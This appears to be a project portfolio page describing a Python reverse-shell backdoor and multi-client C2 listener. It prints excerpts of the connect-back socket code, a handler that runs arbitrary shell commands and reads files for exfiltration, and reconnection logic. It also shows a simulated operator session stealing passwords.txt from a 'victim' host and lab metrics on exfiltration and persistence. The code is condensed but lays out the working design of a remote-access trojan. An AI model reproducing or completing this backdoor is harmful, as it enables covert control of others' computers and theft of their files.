Python Backdoor & C2 Listener

Code Architecture

Implementation Design

The full implementation spans ~850 lines across two Python scripts. Below are architectural excerpts illustrating the design patterns used — not the complete source, but the key decision points that define the system's behavior.

The following snippets show architecture-level excerpts from the implementation. Variable names, error handling branches, and helper utilities have been condensed to illustrate the core logic flow.

Architecture Excerpt Module boundary & configuration design

            
            backdoor — Imports & Configuration Pattern
          
## Module boundary: Python stdlib only (zero dependencies).

## Configuration is extracted to constants at the top of each

## script so deployment only requires editing 4 values.

import socket        # socket.AF_INET, SOCK_STREAM for TCP

import subprocess    # subprocess.run() for shell exec

import os             # os.chdir(), os.getcwd() for dir context

import base64         # b64encode/b64decode for wire format

import pathlib        # Path handling across platforms

import threading      # Daemon threads per client (listener side)

import time           # sleep() for reconnection backoff

import sys            # sys.exit() for clean shutdown

Architecture Excerpt TCP socket lifecycle design

            
            backdoor — Socket Init & Handshake Pattern
          
## The socket is created with a timeout to avoid blocking

## indefinitely during network interruptions. The handshake

## signals the listener that a target is online and ready.

def connect():

    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    sock.settimeout(CONFIG.TIMEOUT)

    sock.connect((CONFIG.SERVER_IP, CONFIG.SERVER_PORT))

    return sock

def handshake(sock):

    sock.send(build_packet("HANDSHAKE", "target_online"))

Architecture Excerpt Chunked + ACK wire protocol design

            
            backdoor — Reliable Transmission Protocol
          
## Wire format: all payloads are base64-encoded, then split

## into 1024-byte chunks. Each chunk requires an ACK before

## the next is sent. Missing ACK triggers retransmission.

def reliable_send(sock, data):

    encoded = base64.b64encode(data)

    chunks = split_into_chunks(encoded, CHUNK_SIZE)

    sock.send(build_packet("META", len(chunks)))

    for i, chunk in enumerate(chunks):

        sock.send(build_packet("DATA", chunk))

        ack = sock.recv(ACK_SIZE)

        if ack != ACK_SIGNAL:

            retransmit(sock, chunk)

Architecture Excerpt Command dispatch & handler pattern

            
            backdoor — Command Execution Pattern
          
## Five command types: shell, cd, pwd, read, exit.

## Each maps to a dedicated handler function. The working

## directory context is persisted in a closure between calls.

def execute_command(raw_command, context):

    command = base64.b64decode(raw_command).decode()

    match parse_command(command):

        case Shell(cmd):

            result = subprocess.run(cmd, shell=True, capture_output=True, text=True)

            return result.stdout + result.stderr

        case ChangeDir(path):

            os.chdir(path); return os.getcwd()

        case PrintDir():

            return os.getcwd()

        case ReadFile(path):

            return base64.b64encode(open(path, "rb").read())

        case Exit():

            sock.close(); sys.exit(0)

Architecture Excerpt Event loop & reconnection strategy

            
            backdoor — Main Event Loop
          
## The main loop blocks on socket.recv(), dispatches the

## command, and sends the result. On network errors it

## waits 5s then retries the full connection sequence.

def run():

    sock = connect()

    handshake(sock)

    context = {"cwd": os.getcwd()}

    while True:

        try:

            packet = sock.recv(BUFFER_SIZE)

            output = execute_command(packet, context)

            reliable_send(sock, serialize(output))

        except (socket.timeout, ConnectionError):

            time.sleep(RECONNECT_DELAY)

            sock = connect()

The complete source includes additional utilities: packet builder, parser, retransmission logic, logging formatter, and the listener's threading controller (~850 lines total across both scripts).

Demo

Live Session Simulation

Simulated operator session showing the backdoor interaction flow from the C2 listener perspective.

C2 Listener — Kali Linux

# python3 listener.py

[+] Listening on 0.0.0.0:4444 ...

[+] Connection from 192.168.1.105:54321

[+] Target: Windows 10 | User: victim\user

─────────────────────────────────────────────

C:\Users\user> whoami

victim\user

C:\Users\user> ipconfig

Ethernet adapter eth0:
  IPv4: 192.168.1.105
  Subnet: 255.255.255.0
  Gateway: 192.168.1.1

C:\Users\user> cd C:\Users\user\Documents

C:\Users\user\Documents> dir

Directory listing...
  report.docx    245KB
  passwords.txt   1KB
  budget.xlsx     89KB

C:\Users\user\Documents> read passwords.txt

[+] Exfiltrating file...
[+] 1 KB received (base64 encoded)

C:\Users\user\Documents> systeminfo

OS: Microsoft Windows 10 Pro
Arch: x64
RAM: 8 GB
Hotfixes: 12 installed

C:\Users\user\Documents> netstat -an

TCP 192.168.1.105:54321 192.168.1.100:4444 ESTABLISHED
TCP 192.168.1.105:445 192.168.1.50:445 ESTABLISHED

C:\Users\user\Documents> exit

[+] Target disconnected. Waiting for next connection...

This is a simulated session demonstrating the real command flow. All commands and outputs mirror actual test results.

Listener

C2 Listener Architecture

Multi-threaded listener with interactive shell, logging, and connection resilience.

Multi-Client Threading

Each incoming connection is handled in a dedicated daemon thread, allowing simultaneous control of multiple targets from a single listener instance.

Activity Logging

All operator commands, timestamps, and target responses are recorded to a log file for post-operation review, reporting, and evidence collection.

Connection Resilience

Automatic cleanup on disconnect with thread reaping. The listener remains available for reconnection without restart. Chunked ACK ensures data integrity.

Results

Lab Validation & Metrics

Quantitative and qualitative results from the controlled test environment.

Command Execution Success Rate

Response Time by Command Type (ms)

Test Environment Config

Attacker: Kali Linux VM
Target: Windows 10 Pro x64
Network: Isolated /24 LAN
Port: 4444/TCP

Command Execution 100%

Tested 12 distinct commands: ipconfig, whoami, systeminfo, netstat, tasklist, dir, cd, pwd, type, read. All returned output correctly.

File Exfiltration 3/3

Exfiltrated .txt (1 KB), .docx (245 KB), .png (1.2 MB). Large files chunked (1024B) and reassembled with ACK verification. Binary integrity verified via SHA256 hash.

Connection Resilience Pass

Simulated 5 network drops. Backdoor reconnected within 15s (exponential backoff: 5s, 10s, 15s). Listener handled concurrent connections from 2 target hosts simultaneously without interference.

Python Backdoor & C2
Reverse Shell & Listener

System Design & Data Flow

Implementation Design

Live Session Simulation

C2 Listener Architecture

Multi-Client Threading

Activity Logging

Connection Resilience

Lab Validation & Metrics

Command Execution Success Rate

Response Time by Command Type (ms)

MITRE ATT&CK Mapping

Download Summary

References

Python Backdoor & C2 Reverse Shell & Listener

System Design & Data Flow

Implementation Design

Live Session Simulation

C2 Listener Architecture

Multi-Client Threading

Activity Logging

Connection Resilience

Lab Validation & Metrics

Command Execution Success Rate

Response Time by Command Type (ms)

MITRE ATT&CK Mapping

Download Summary

References

Python Backdoor & C2
Reverse Shell & Listener